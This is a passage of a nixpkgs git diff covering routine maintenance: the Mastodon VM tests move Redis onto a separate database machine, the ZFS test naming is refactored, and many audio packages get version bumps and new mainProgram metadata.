[ + config.services.redis.servers.mastodon.port + config.services.postgresql.port + ]; + }; + + services.redis.servers.mastodon = { + enable = true; + bind = "0.0.0.0"; + port = 31637; + requirePassFile = "/etc/redis/password-redis-db"; }; services.postgresql = { @@ -83,6 +100,9 @@ in environment = { etc = { + "mastodon/password-redis-db".text = '' + ogjhJL8ynrP7MazjYOF6 + ''; "mastodon/password-posgressql-db".text = '' SoDTZcISc3f1M1LJsRLT ''; @@ -108,6 +128,12 @@ in localDomain = "mastodon.local"; enableUnixSocket = false; streamingProcesses = 2; + redis = { + createLocally = false; + host = "192.168.2.102"; + port = 31637; + passwordFile = "/etc/mastodon/password-redis-db"; + }; database = { createLocally = false; host = "192.168.2.102"; @@ -151,12 +177,14 @@ in extraInit = '' nginx.wait_for_unit("nginx.service") nginx.wait_for_open_port(443) - database.wait_for_unit("postgresql.service") - database.wait_for_open_port(5432) + databases.wait_for_unit("redis-mastodon.service") + databases.wait_for_unit("postgresql.service") + databases.wait_for_open_port(31637) + databases.wait_for_open_port(5432) ''; extraShutdown = '' nginx.shutdown() - database.shutdown() + databases.shutdown() ''; }; }) diff --git a/nixos/tests/web-apps/mastodon/script.nix b/nixos/tests/web-apps/mastodon/script.nix index afb7c0e0a0ebe..9184c63c89419 100644 --- a/nixos/tests/web-apps/mastodon/script.nix +++ b/nixos/tests/web-apps/mastodon/script.nix @@ -8,7 +8,6 @@ ${extraInit} - server.wait_for_unit("redis-mastodon.service") server.wait_for_unit("mastodon-sidekiq-all.service") server.wait_for_unit("mastodon-streaming.target") server.wait_for_unit("mastodon-web.service") diff --git a/nixos/tests/web-apps/mastodon/standard.nix b/nixos/tests/web-apps/mastodon/standard.nix index e5eb30fef5976..ddc764e2168c9 100644 --- a/nixos/tests/web-apps/mastodon/standard.nix +++ b/nixos/tests/web-apps/mastodon/standard.nix @@ -34,12 +34,6 @@ in pki.certificateFiles = [ "${cert pkgs}/cert.pem" ]; }; - services.redis.servers.mastodon = { - enable = true; - bind = "127.0.0.1"; - port = 31637; - }; - # TODO remove once https://github.com/NixOS/nixpkgs/pull/266270 is resolved. services.postgresql.package = pkgs.postgresql_14; @@ -89,6 +83,7 @@ in extraInit = '' server.wait_for_unit("nginx.service") server.wait_for_open_port(443) + server.wait_for_unit("redis-mastodon.service") server.wait_for_unit("postgresql.service") server.wait_for_open_port(5432) ''; diff --git a/nixos/tests/zfs.nix b/nixos/tests/zfs.nix index 0b411b0b9d8a5..851fced2c5e1e 100644 --- a/nixos/tests/zfs.nix +++ b/nixos/tests/zfs.nix @@ -7,14 +7,14 @@ with import ../lib/testing-python.nix { inherit system pkgs; }; let - makeZfsTest = name: + makeZfsTest = { kernelPackages , enableSystemdStage1 ? false , zfsPackage , extraTest ? "" }: makeTest { - name = "zfs-" + name; + name = zfsPackage.kernelModuleAttribute; meta = with pkgs.lib.maintainers; { maintainers = [ elvishjerricco ]; }; @@ -192,23 +192,23 @@ let in { # maintainer: @raitobezarius - series_2_1 = makeZfsTest "2.1-series" { + series_2_1 = makeZfsTest { zfsPackage = pkgs.zfs_2_1; kernelPackages = pkgs.linuxPackages; }; - stable = makeZfsTest "stable" { - zfsPackage = pkgs.zfsStable; + series_2_2 = makeZfsTest { + zfsPackage = pkgs.zfs_2_2; kernelPackages = pkgs.linuxPackages; }; - unstable = makeZfsTest "unstable" rec { - zfsPackage = pkgs.zfsUnstable; + unstable = makeZfsTest rec { + zfsPackage = pkgs.zfs_unstable; kernelPackages = zfsPackage.latestCompatibleLinuxPackages; }; - unstableWithSystemdStage1 = makeZfsTest "unstable" rec { - zfsPackage = pkgs.zfsUnstable; + unstableWithSystemdStage1 = makeZfsTest rec { + zfsPackage = pkgs.zfs_unstable; kernelPackages = zfsPackage.latestCompatibleLinuxPackages; enableSystemdStage1 = true; }; diff --git a/pkgs/README.md b/pkgs/README.md index 0269264ed553a..837a99f07e7fa 100644 --- a/pkgs/README.md +++ b/pkgs/README.md @@ -346,7 +346,7 @@ There are a few naming guidelines: - The `pname` attribute _should_ be identical to the upstream package name. -- The `pname` and the `version` attribute _must not_ contain uppercase letters — e.g., `"mplayer" instead of `"MPlayer"`. +- The `pname` and the `version` attribute _must not_ contain uppercase letters — e.g., `"mplayer"` instead of `"MPlayer"`. - The `version` attribute _must_ start with a digit e.g., `"0.3.1rc2"`. @@ -416,7 +416,6 @@ In the file `pkgs/top-level/all-packages.nix` you can find fetch helpers, these ```nix src = fetchgit { - url = "git@github.com:NixOS/nix.git" url = "git://github.com/NixOS/nix.git"; rev = "1f795f9f44607cc5bec70d1300150bfefcef2aae"; hash = "sha256-7D4m+saJjbSFP5hOwpQq2FGR2rr+psQMTcyb1ZvtXsQ="; diff --git a/pkgs/applications/accessibility/wvkbd/default.nix b/pkgs/applications/accessibility/wvkbd/default.nix index 65cbf91676cb8..d74790c2f1bd7 100644 --- a/pkgs/applications/accessibility/wvkbd/default.nix +++ b/pkgs/applications/accessibility/wvkbd/default.nix @@ -13,13 +13,13 @@ stdenv.mkDerivation rec { pname = "wvkbd"; - version = "0.14.3"; + version = "0.14.4"; src = fetchFromGitHub { owner = "jjsullivan5196"; repo = pname; rev = "v${version}"; - sha256 = "sha256-U4xq9FY2uZlnBwm8Se1wReU1c1RAJMx6FIoD0D2BlM4="; + sha256 = "sha256-1ySKsWgSCqsWV0RnR+wZt7+hWVWUqXrQLd1H6FqYzc8="; }; postPatch = '' diff --git a/pkgs/applications/audio/CHOWTapeModel/default.nix b/pkgs/applications/audio/CHOWTapeModel/default.nix index dd7604939f0f5..29c1b82d9d0e1 100644 --- a/pkgs/applications/audio/CHOWTapeModel/default.nix +++ b/pkgs/applications/audio/CHOWTapeModel/default.nix @@ -127,5 +127,6 @@ stdenv.mkDerivation rec { # error: 'vvtanh' was not declared in this scope; did you mean 'tanh'? # error: no matching function for call to 'juce::dsp::SIMDRegister<double>::SIMDRegister(xsimd::simd_batch_traits<xsimd::batch<double, 2> >::batch_bool_type)' broken = stdenv.isAarch64; # since 2021-12-27 on hydra (update to 2.10): https://hydra.nixos.org/build/162558991 + mainProgram = "CHOWTapeModel"; }; } diff --git a/pkgs/applications/audio/ChowKick/default.nix b/pkgs/applications/audio/ChowKick/default.nix index b3ad00bf63a8a..0eec7ea32d32a 100644 --- a/pkgs/applications/audio/ChowKick/default.nix +++ b/pkgs/applications/audio/ChowKick/default.nix @@ -102,5 +102,6 @@ stdenv.mkDerivation rec { license = with licenses; [ bsd3 ]; maintainers = with maintainers; [ magnetophon ]; platforms = platforms.linux; + mainProgram = "ChowKick"; }; } diff --git a/pkgs/applications/audio/aacgain/default.nix b/pkgs/applications/audio/aacgain/default.nix index 2bee147978159..ce0362ba49c03 100644 --- a/pkgs/applications/audio/aacgain/default.nix +++ b/pkgs/applications/audio/aacgain/default.nix @@ -34,5 +34,6 @@ stdenv.mkDerivation { license = licenses.gpl2Plus; platforms = platforms.unix; maintainers = [ maintainers.robbinch ]; + mainProgram = "aacgain"; }; } diff --git a/pkgs/applications/audio/aeolus/default.nix b/pkgs/applications/audio/aeolus/default.nix index cca58da4f99e5..b8a2fe7557042 100644 --- a/pkgs/applications/audio/aeolus/default.nix +++ b/pkgs/applications/audio/aeolus/default.nix @@ -40,5 +40,6 @@ stdenv.mkDerivation rec { license = licenses.lgpl3; platforms = platforms.linux; maintainers = with maintainers; [ nico202 orivej ]; + mainProgram = "aeolus"; }; } diff --git a/pkgs/applications/audio/airwindows-lv2/default.nix b/pkgs/applications/audio/airwindows-lv2/default.nix index a5a8965eee40b..d392db72ca2de 100644 --- a/pkgs/applications/audio/airwindows-lv2/default.nix +++ b/pkgs/applications/audio/airwindows-lv2/default.nix @@ -2,12 +2,12 @@ stdenv.mkDerivation rec { pname = "airwindows-lv2"; - version = "26.2"; + version = "28.0"; src = fetchFromSourcehut { owner = "~hannes"; repo = pname; rev = "v${version}"; - sha256 = "sha256-GpfglGC7zD275lm9OsBmqDC90E/vVUqslm7HjPgm74M="; + sha256 = "sha256-1GWkdNCn98ttsF2rPLZE0+GJdatgkLewFQyx9Frr2sM="; }; nativeBuildInputs = [ meson ninja pkg-config ]; diff --git a/pkgs/applications/audio/aj-snapshot/default.nix b/pkgs/applications/audio/aj-snapshot/default.nix index 9143b5f5b08a7..8de68bca477ca 100644 --- a/pkgs/applications/audio/aj-snapshot/default.nix +++ b/pkgs/applications/audio/aj-snapshot/default.nix @@ -27,5 +27,6 @@ stdenv.mkDerivation rec { license = licenses.gpl2; maintainers = [ maintainers.mrVanDalo ]; platforms = platforms.all; + mainProgram = "aj-snapshot"; }; } diff --git a/pkgs/applications/audio/amberol/default.nix b/pkgs/applications/audio/amberol/default.nix index f29ca37341b92..6d6946a241673 100644 --- a/pkgs/applications/audio/amberol/default.nix +++ b/pkgs/applications/audio/amberol/default.nix @@ -74,5 +74,6 @@ stdenv.mkDerivation rec { maintainers = with maintainers; [ linsui ]; license = licenses.gpl3Plus; platforms = platforms.linux; + mainProgram = "amberol"; }; } diff --git a/pkgs/applications/audio/ardour/default.nix b/pkgs/applications/audio/ardour/default.nix index d6267aff3fef5..226aa832f80f1 100644 --- a/pkgs/applications/audio/ardour/default.nix +++ b/pkgs/applications/audio/ardour/default.nix @@ -64,14 +64,14 @@ }: stdenv.mkDerivation rec { pname = "ardour"; - version = "8.2"; + version = "8.4"; # We can't use `fetchFromGitea` here, as attempting to fetch release archives from git.ardour.org # result in an empty archive. See https://tracker.ardour.org/view.php?id=7328 for more info. src = fetchgit { url = "git://git.ardour.org/ardour/ardour.git"; rev = version; - hash = "sha256-Ito1gy7k7nzTN7Co/ddXYbAvobiZO0V0J5uymsm756k="; + hash = "sha256-6qx/elkj4Kb4YK1JZG/S036WdUO7wEE6/yf4pZQP8J0="; }; bundledContent = fetchzip { diff --git a/pkgs/applications/audio/ashuffle/default.nix b/pkgs/applications/audio/ashuffle/default.nix index a543dbc7691a5..475ecd26e706a 100644 --- a/pkgs/applications/audio/ashuffle/default.nix +++ b/pkgs/applications/audio/ashuffle/default.nix @@ -12,13 +12,13 @@ stdenv.mkDerivation rec { pname = "ashuffle"; - version = "3.14.3"; + version = "3.14.7"; src = fetchFromGitHub { owner = "joshkunz"; repo = "ashuffle"; rev = "v${version}"; - hash = "sha256-C7LClzVganE2DvucHw6euNRw2r36vhhCQlhWlkwWPwk="; + hash = "sha256-id55Ss/7PLBPn55RikAlqr3VkNzgm8NiL/ruFGAmH30="; fetchSubmodules = true; }; @@ -35,5 +35,6 @@ stdenv.mkDerivation rec { maintainers = [ maintainers.tcbravo ]; platforms = platforms.unix; license = licenses.mit; + mainProgram = "ashuffle"; }; } diff --git a/pkgs/applications/audio/aucatctl/default.nix b/pkgs/applications/audio/aucatctl/default.nix index d3f814a7db897..2914d3f343884 100644 --- a/pkgs/applications/audio/aucatctl/default.nix +++ b/pkgs/applications/audio/aucatctl/default.nix @@ -32,5 +32,6 @@ stdenv.mkDerivation (finalAttrs: { license = licenses.isc; maintainers = with maintainers; [ sna ]; platforms = platforms.unix; + mainProgram = "aucatctl"; }; }) diff --git a/pkgs/applications/audio/bitmeter/default.nix b/pkgs/applications/audio/bitmeter/default.nix index 6108d84c3d9a0..9ae4bd7e79fbf 100644 --- a/pkgs/applications/audio/bitmeter/default.nix +++ b/pkgs/applications/audio/bitmeter/default.nix @@ -25,5 +25,6 @@ stdenv.mkDerivation rec { license = licenses.gpl2; maintainers = [ maintainers.magnetophon ]; platforms = platforms.linux; + mainProgram = "bitmeter"; }; } diff --git a/pkgs/applications/audio/bitwig-studio/bitwig-studio5.nix b/pkgs/applications/audio/bitwig-studio/bitwig-studio5.nix index d1540fd1cea04..93296b3eff0b0 100644 --- a/pkgs/applications/audio/bitwig-studio/bitwig-studio5.nix +++ b/pkgs/applications/audio/bitwig-studio/bitwig-studio5.nix @@ -27,11 +27,11 @@ stdenv.mkDerivation rec { pname = "bitwig-studio"; - version = "5.0.11"; + version = "5.1.3"; src = fetchurl { url = "https://downloads.bitwig.com/stable/${version}/${pname}-${version}.deb"; - sha256 = "sha256-c9bRWVWCC9hLxmko6EHgxgmghrxskJP4PQf3ld2BHoY="; + sha256 = "sha256-1/iKezOD2HCym6JBXRa9rGpjolJjrxRZA4vwfgZyVng="; }; nativeBuildInputs = [ dpkg makeWrapper wrapGAppsHook ]; diff --git a/pkgs/applications/audio/brutefir/default.nix b/pkgs/applications/audio/brutefir/default.nix index 2aefa8bae08e1..8cb54bf410bf0 100644 --- a/pkgs/applications/audio/brutefir/default.nix +++ b/pkgs/applications/audio/brutefir/default.nix @@ -28,5 +28,6 @@ stdenv.mkDerivation rec { license = licenses.gpl2Only; maintainers = with maintainers; [ auchter ]; platforms = [ "x86_64-linux" "i686-linux" ]; + mainProgram = "brutefir"; }; } diff --git a/pkgs/applications/audio/calf/default.nix b/pkgs/applications/audio/calf/default.nix index e4e679e780828..ecc43dd10c470 100644 --- a/pkgs/applications/audio/calf/default.nix +++ b/pkgs/applications/audio/calf/default.nix @@ -26,5 +26,6 @@ stdenv.mkDerivation rec { license = licenses.lgpl2; maintainers = [ maintainers.goibhniu ]; platforms = platforms.linux; + mainProgram = "calfjackhost"; }; } diff --git a/pkgs/applications/audio/cava/default.nix b/pkgs/applications/audio/cava/default.nix index 6b83906298297..23ecf095147fd 100644 --- a/pkgs/applications/audio/cava/default.nix +++ b/pkgs/applications/audio/cava/default.nix @@ -18,13 +18,13 @@ stdenv.mkDerivation rec { pname = "cava"; - version = "0.10.0"; + version = "0.10.1"; src = fetchFromGitHub { owner = "karlstav"; repo = "cava"; rev = version; - hash = "sha256-AQR1qc6HgkUkXBRf7kGy4QdtfCj+YVDlYSEIWOutkTk="; + hash = "sha256-hndlEuKbI8oHvm0dosO0loQAw/U2qasoJ+4K8JG7I2Q="; }; buildInputs = [ diff --git a/pkgs/applications/audio/cavalier/default.nix b/pkgs/applications/audio/cavalier/default.nix deleted file mode 100644 index 17fdabc5bc0db..0000000000000 --- a/pkgs/applications/audio/cavalier/default.nix +++ /dev/null @@ -1,68 +0,0 @@ -{ lib -, python3 -, fetchFromGitHub -, meson -, ninja -, pkg-config -, gobject-introspection -, glib -, gtk4 -, librsvg -, libadwaita -, wrapGAppsHook4 -, appstream-glib -, desktop-file-utils -, cava -}: - -python3.pkgs.buildPythonApplication rec { - pname = "cavalier"; - version = "2023.01.29"; - format = "other"; - - src = fetchFromGitHub { - owner = "fsobolev"; - repo = pname; - rev = version; - hash = "sha256-6bvi73cFQHtIyD4d4+mqje0qkmG4wkahZ2ohda5RvRQ="; - }; - - nativeBuildInputs = [ - meson - ninja - pkg-config - gobject-introspection - wrapGAppsHook4 - appstream-glib - desktop-file-utils - ]; - - buildInputs = [ - glib - gtk4 - librsvg - libadwaita - ]; - - propagatedBuildInputs = with python3.pkgs; [ - pygobject3 - ]; - - # Prevent double wrapping - dontWrapGApps = true; - - preFixup = '' - makeWrapperArgs+=( - "''${gappsWrapperArgs[@]}" - --prefix PATH ":" "${lib.makeBinPath [ cava ]}" - ) - ''; - - meta = with lib; { - description = "Audio visualizer based on CAVA with customizable LibAdwaita interface"; - homepage = "https://github.com/fsobolev/cavalier"; - license = licenses.mit; - platforms = platforms.linux; - maintainers = with maintainers; [ zendo ]; - }; -} diff --git a/pkgs/applications/audio/cdparanoia/default.nix b/pkgs/applications/audio/cdparanoia/default.nix index 7f699b82aefc8..f32772b4a3923 100644 --- a/pkgs/applications/audio/cdparanoia/default.nix +++ b/pkgs/applications/audio/cdparanoia/default.nix @@ -58,5 +58,6 @@ stdenv.mkDerivation rec { description = "A tool and library for reading digital audio from CDs"; license = with licenses; [ gpl2Plus lgpl21Plus ]; platforms = platforms.unix; + mainProgram = "cdparanoia"; }; } diff --git a/pkgs/applications/audio/chuck/default.nix b/pkgs/applications/audio/chuck/default.nix index a62337d7d55ac..6b975b3c6b957 100644 --- a/pkgs/applications/audio/chuck/default.nix +++ b/pkgs/applications/audio/chuck/default.nix @@ -29,5 +29,6 @@ stdenv.mkDerivation rec { license = licenses.gpl2; platforms = platforms.unix; maintainers = with maintainers; [ ftrvxmtrx ]; + mainProgram = "chuck"; }; } diff --git a/pkgs/applications/audio/cider/default.nix b/pkgs/applications/audio/cider/default.nix index c71f6fa0bc788..96f0ab0f706a6 100644 --- a/pkgs/applications/audio/cider/default.nix +++ b/pkgs/applications/audio/cider/default.nix @@ -26,5 +26,6 @@ appimageTools.wrapType2 rec { license = licenses.agpl3; maintainers = [ maintainers.cigrainger ]; platforms = [ "x86_64-linux" ]; + mainProgram = "cider"; }; } diff --git a/pkgs/applications/audio/cmusfm/default.nix b/pkgs/applications/audio/cmusfm/default.nix index 8f15b7d611465..5d3a62bd2a562 100644 --- a/pkgs/applications/audio/cmusfm/default.nix +++ b/pkgs/applications/audio/cmusfm/default.nix @@ -38,5 +38,6 @@ stdenv.mkDerivation rec { maintainers = with lib.maintainers; [ CharlesHD mudri ]; license = licenses.gpl3Plus; platforms = platforms.linux ++ platforms.darwin; + mainProgram = "cmusfm"; }; } diff --git a/pkgs/applications/audio/codecserver/default.nix b/pkgs/applications/audio/codecserver/default.nix index d1bcf82115ef2..0c1bee94cc10f 100644 --- a/pkgs/applications/audio/codecserver/default.nix +++ b/pkgs/applications/audio/codecserver/default.nix @@ -36,5 +36,6 @@ stdenv.mkDerivation rec { license = licenses.gpl3Only; platforms = platforms.unix; maintainers = teams.c3d2.members; + mainProgram = "codecserver"; }; } diff --git a/pkgs/applications/audio/cozy/default.nix b/pkgs/applications/audio/cozy/default.nix index 8f7461683be17..e07217567d340 100644 --- a/pkgs/applications/audio/cozy/default.nix +++ b/pkgs/applications/audio/cozy/default.nix @@ -8,7 +8,7 @@ , gtk3 , gst_all_1 , gobject-introspection -, libhandy +, libadwaita , libdazzle , python3Packages , cairo @@ -22,13 +22,13 @@ python3Packages.buildPythonApplication rec { format = "other"; # no setup.py pname = "cozy"; - version = "1.2.1"; + version = "1.3.0"; src = fetchFromGitHub { owner = "geigi"; repo = pname; rev = version; - hash = "sha256-cRqfLFLvje8lxUZ4S83UAFyYUX0vj1ZgLG0Y6gpCfmI="; + hash = "sha256-oMgdz2dny0u1XV13aHu5s8/pcAz8z/SAOf4hbCDsdjw"; }; nativeBuildInputs = [ @@ -44,8 +44,8 @@ python3Packages.buildPythonApplication rec { cairo gettext gnome.adwaita-icon-theme + libadwaita libdazzle - libhandy pantheon.granite ] ++ (with gst_all_1; [ gstreamer diff --git a/pkgs/applications/audio/dirt/default.nix b/pkgs/applications/audio/dirt/default.nix index 9d9c5c869f760..4b9be9a080855 100644 --- a/pkgs/applications/audio/dirt/default.nix +++ b/pkgs/applications/audio/dirt/default.nix @@ -35,5 +35,6 @@ stdenv.mkDerivation { license = licenses.gpl3; maintainers = with maintainers; [ anderspapitto ]; platforms = with platforms; linux; + mainProgram = "dirt"; }; } diff --git a/pkgs/applications/audio/dolbybcsoftwaredecode/default.nix b/pkgs/applications/audio/dolbybcsoftwaredecode/default.nix index 5d5c057d724b8..fddbfc117bdaf 100644 --- a/pkgs/applications/audio/dolbybcsoftwaredecode/default.nix +++ b/pkgs/applications/audio/dolbybcsoftwaredecode/default.nix @@ -27,5 +27,6 @@ stdenv.mkDerivation rec { # I asked upstream to assign a license, so maybe this can be free # in the future, but for now let's play it safe and make it unfree. license = lib.licenses.unfree; + mainProgram = "DolbyBi64"; }; } diff --git a/pkgs/applications/audio/dsf2flac/default.nix b/pkgs/applications/audio/dsf2flac/default.nix index d47bff7fe8849..2459c1c6929da 100644 --- a/pkgs/applications/audio/dsf2flac/default.nix +++ b/pkgs/applications/audio/dsf2flac/default.nix @@ -30,5 +30,6 @@ stdenv.mkDerivation rec { license = licenses.gpl2; maintainers = with maintainers; [ artemist ]; platforms = [ "x86_64-linux" ]; + mainProgram = "dsf2flac"; }; } diff --git a/pkgs/applications/audio/eartag/default.nix b/pkgs/applications/audio/eartag/default.nix index a40ea62403bed..cb5a650a21915 100644 --- a/pkgs/applications/audio/eartag/default.nix +++ b/pkgs/applications/audio/eartag/default.nix @@ -19,7 +19,7 @@ python3Packages.buildPythonApplication rec { pname = "eartag"; - version = "0.5.1"; + version = "0.6.0"; format = "other"; src = fetchFromGitLab { @@ -27,7 +27,7 @@ python3Packages.buildPythonApplication rec { owner = "World"; repo = pname; rev = version; - hash = "sha256-tHBEz4sZsWOxDkdUd/3zMta8vOhuzv4G01dtjKBX/D0="; + hash = "sha256-MfffIqxfelwP+9wsFvQfEIMkav7j5LJEHjLPOsuYdtQ="; }; postPatch = '' @@ -77,6 +77,7 @@ python3Packages.buildPythonApplication rec { # since ICU license is a modified version of MIT and to prevent it from # being incorrectly identified as unfree software. license = licenses.mit; + mainProgram = "eartag"; maintainers = with maintainers; [ foo-dogsquared ]; }; } diff --git a/pkgs/applications/audio/easyeffects/default.nix b/pkgs/applications/audio/easyeffects/default.nix index 4f21068b10d59..dd998050ac707 100644 --- a/pkgs/applications/audio/easyeffects/default.nix +++ b/pkgs/applications/audio/easyeffects/default.nix @@ -41,13 +41,13 @@ stdenv.mkDerivation rec { pname = "easyeffects"; - version = "7.1.3"; + version = "7.1.4"; src = fetchFromGitHub { owner = "wwmm"; repo = "easyeffects"; rev = "v${version}"; - hash = "sha256-OJy8HhojfpUwWo3zg+FgdFI4pMzWA61VMsdPE03MfeE="; + hash = "sha256-UNS7kHyxHB4VneELXGn2G8T8EeKUpjb1ib2q0G+gf/s="; }; nativeBuildInputs = [ diff --git a/pkgs/applications/audio/eflite/default.nix b/pkgs/applications/audio/eflite/default.nix index 776698a06d0d7..96b604b7c0584 100644 --- a/pkgs/applications/audio/eflite/default.nix +++ b/pkgs/applications/audio/eflite/default.nix @@ -47,5 +47,6 @@ stdenv.mkDerivation rec { license = lib.licenses.gpl2; platforms = lib.platforms.linux; maintainers = with lib.maintainers; [ jhhuh ]; + mainProgram = "eflite"; }; } diff --git a/pkgs/applications/audio/famistudio/default.nix b/pkgs/applications/audio/famistudio/default.nix index e243498f129b9..9951f0ccfb078 100644 --- a/pkgs/applications/audio/famistudio/default.nix +++ b/pkgs/applications/audio/famistudio/default.nix @@ -66,5 +66,6 @@ stdenv.mkDerivation rec { sourceProvenance = with lib.sourceTypes; [ binaryNativeCode ]; maintainers = with maintainers; [ OPNA2608 ]; platforms = [ "x86_64-linux" ]; + mainProgram = "famistudio"; }; } diff --git a/pkgs/applications/audio/faust/faust2.nix b/pkgs/applications/audio/faust/faust2.nix index 3e90236f872ad..dc5dc477b03ad 100644 --- a/pkgs/applications/audio/faust/faust2.nix +++ b/pkgs/applications/audio/faust/faust2.nix @@ -63,6 +63,14 @@ let ncurses_static ]; + patches = [ + (fetchpatch { + name = "fix-CsigFFun-API-declaration.patch"; + url = "https://github.com/grame-cncm/faust/commit/10ce960e91a6237c7bff14a338e770757076ce9e.patch"; + hash = "sha256-WMFLpLGTZpG7ni3lhI5VJHsmJViWZf4pAFuhYmFVRCE="; + }) + ]; + passthru = { inherit wrap wrapWithBuildEnv faust2ApplBase; }; preConfigure = '' diff --git a/pkgs/applications/audio/flac123/default.nix b/pkgs/applications/audio/flac123/default.nix index 5da071805cad6..646e361524d48 100644 --- a/pkgs/applications/audio/flac123/default.nix +++ b/pkgs/applications/audio/flac123/default.nix @@ -17,5 +17,6 @@ stdenv.mkDerivation rec { description = "A command-line program for playing FLAC audio files"; license = licenses.gpl2Plus; platforms = platforms.all; + mainProgram = "flac123"; }; } diff --git a/pkgs/applications/audio/flacon/default.nix b/pkgs/applications/audio/flacon/default.nix index 5cb59c98c3312..b5d57e5a61780 100644 --- a/pkgs/applications/audio/flacon/default.nix +++ b/pkgs/applications/audio/flacon/default.nix @@ -1,6 +1,6 @@ { stdenv, lib, fetchFromGitHub, cmake, libuchardet, pkg-config, shntool, flac -, opusTools, vorbis-tools, mp3gain, lame, taglib, wavpack, vorbisgain, sox, gtk3 -, qtbase, qttools, wrapQtAppsHook }: +, opusTools, vorbis-tools, mp3gain, lame, taglib, wavpack, vorbisgain +, monkeysAudio, sox, gtk3, qtbase, qttools, wrapQtAppsHook }: stdenv.mkDerivation rec { pname = "flacon"; @@ -24,6 +24,7 @@ stdenv.mkDerivation rec { mp3gain lame wavpack + monkeysAudio vorbisgain sox ]; diff --git a/pkgs/applications/audio/fluidsynth/default.nix b/pkgs/applications/audio/fluidsynth/default.nix index 34329fb2ea84d..56f76f6513c77 100644 --- a/pkgs/applications/audio/fluidsynth/default.nix +++ b/pkgs/applications/audio/fluidsynth/default.nix @@ -32,5 +32,6 @@ stdenv.mkDerivation rec { license = licenses.lgpl21Plus; maintainers = with maintainers; [ goibhniu lovek323 ]; platforms = platforms.unix; + mainProgram = "fluidsynth"; }; } diff --git a/pkgs/applications/audio/freewheeling/default.nix b/pkgs/applications/audio/freewheeling/default.nix index 531352d0ed949..976421aee7abc 100644 --- a/pkgs/applications/audio/freewheeling/default.nix +++ b/pkgs/applications/audio/freewheeling/default.nix @@ -48,5 +48,6 @@ stdenv.mkDerivation rec { license = lib.licenses.gpl2; maintainers = [ lib.maintainers.sepi ]; platforms = lib.platforms.linux; + mainProgram = "fweelin"; }; } diff --git a/pkgs/applications/audio/freqtweak/default.nix b/pkgs/applications/audio/freqtweak/default.nix index 71bb0f6f05c8f..c880fdb113a0e 100644 --- a/pkgs/applications/audio/freqtweak/default.nix +++ b/pkgs/applications/audio/freqtweak/default.nix @@ -26,5 +26,6 @@ stdenv.mkDerivation rec { maintainers = [ maintainers.magnetophon ]; platforms = platforms.linux; license = licenses.gpl2Plus; + mainProgram = "freqtweak"; }; } diff --git a/pkgs/applications/audio/ft2-clone/default.nix b/pkgs/applications/audio/ft2-clone/default.nix index d299148e6ade6..ad4691e1ffa78 100644 --- a/pkgs/applications/audio/ft2-clone/default.nix +++ b/pkgs/applications/audio/ft2-clone/default.nix @@ -13,13 +13,13 @@ stdenv.mkDerivation rec { pname = "ft2-clone"; - version = "1.75"; + version = "1.76"; src = fetchFromGitHub { owner = "8bitbubsy"; repo = "ft2-clone"; rev = "v${version}"; - hash = "sha256-K+RUsRr19fc0E9VhZWIawxkGXCTwqXl3a13pRiRxDPg="; + hash = "sha256-oVQ1B7rYZX2kHTY8jVVm3rkOLx499kiEvhkv2V94W9k="; }; nativeBuildInputs = [ cmake ]; @@ -45,5 +45,6 @@ stdenv.mkDerivation rec { # From HOW-TO-COMPILE.txt: # > This code is NOT big-endian compatible platforms = platforms.littleEndian; + mainProgram = "ft2-clone"; }; } diff --git a/pkgs/applications/audio/furnace/default.nix b/pkgs/applications/audio/furnace/default.nix index adb9f16ed9645..d39e49f4b7afd 100644 --- a/pkgs/applications/audio/furnace/default.nix +++ b/pkgs/applications/audio/furnace/default.nix @@ -116,5 +116,6 @@ stdenv.mkDerivation rec { license = with licenses; [ gpl2Plus ]; maintainers = with maintainers; [ OPNA2608 ]; platforms = platforms.all; + mainProgram = "furnace"; }; } diff --git a/pkgs/applications/audio/gbsplay/default.nix b/pkgs/applications/audio/gbsplay/default.nix index c8a0e7efe4872..b86142ed47b54 100644 --- a/pkgs/applications/audio/gbsplay/default.nix +++ b/pkgs/applications/audio/gbsplay/default.nix @@ -2,13 +2,13 @@ stdenv.mkDerivation rec { pname = "gbsplay"; - version = "0.0.95"; + version = "0.0.96"; src = fetchFromGitHub { owner = "mmitch"; repo = "gbsplay"; rev = version; - sha256 = "sha256-s6TGAWwIm2raXk3kA3D0/fg+Hn3O/lerPlxGOryXIBQ="; + sha256 = "sha256-2sYPP+urcSP67mHzbjRiL9BYgkIpONr7fPPbGQmBOqU="; }; configureFlags = [ diff --git a/pkgs/applications/audio/geonkick/default.nix b/pkgs/applications/audio/geonkick/default.nix index 0a99edd7b069c..011f06fd3ad5c 100644 --- a/pkgs/applications/audio/geonkick/default.nix +++ b/pkgs/applications/audio/geonkick/default.nix @@ -27,5 +27,6 @@ stdenv.mkDerivation rec { license = licenses.gpl3Plus; platforms = platforms.linux; maintainers = [ maintainers.magnetophon ]; + mainProgram = "geonkick"; }; } diff --git a/pkgs/applications/audio/giada/default.nix b/pkgs/applications/audio/giada/default.nix index 15fcf05405835..0b272226f19a6 100644 --- a/pkgs/applications/audio/giada/default.nix +++ b/pkgs/applications/audio/giada/default.nix @@ -24,13 +24,13 @@ stdenv.mkDerivation rec { pname = "giada"; - version = "0.26.1"; + version = "1.0.0"; src = fetchFromGitHub { owner = "monocasual"; repo = pname; rev = version; - sha256 = "sha256-tONxVxzOFbwnuaW6YoHVZOmgd5S11qz38hcI+yQgjrQ="; + sha256 = "sha256-vTOUS9mI4B3yRNnM2dNCH7jgMuD3ztdhe1FMgXUIt58="; fetchSubmodules = true; }; diff --git a/pkgs/applications/audio/gigedit/default.nix b/pkgs/applications/audio/gigedit/default.nix index 8c37e8901a333..7a367aa7ba71b 100644 --- a/pkgs/applications/audio/gigedit/default.nix +++ b/pkgs/applications/audio/gigedit/default.nix @@ -42,5 +42,6 @@ stdenv.mkDerivation rec { license = licenses.gpl2; maintainers = [ maintainers.goibhniu ]; platforms = platforms.linux; + mainProgram = "gigedit"; }; } diff --git a/pkgs/applications/audio/gjay/default.nix b/pkgs/applications/audio/gjay/default.nix index 29d676598203e..514db23fdb4e9 100644 --- a/pkgs/applications/audio/gjay/default.nix +++ b/pkgs/applications/audio/gjay/default.nix @@ -38,5 +38,6 @@ stdenv.mkDerivation rec { license = licenses.gpl2Plus; maintainers = with maintainers; [ pSub ]; platforms = with platforms; linux; + mainProgram = "gjay"; }; } diff --git a/pkgs/applications/audio/gnaural/default.nix b/pkgs/applications/audio/gnaural/default.nix index e7753ef28e6b3..75f163ba1e79b 100644 --- a/pkgs/applications/audio/gnaural/default.nix +++ b/pkgs/applications/audio/gnaural/default.nix @@ -34,5 +34,6 @@ 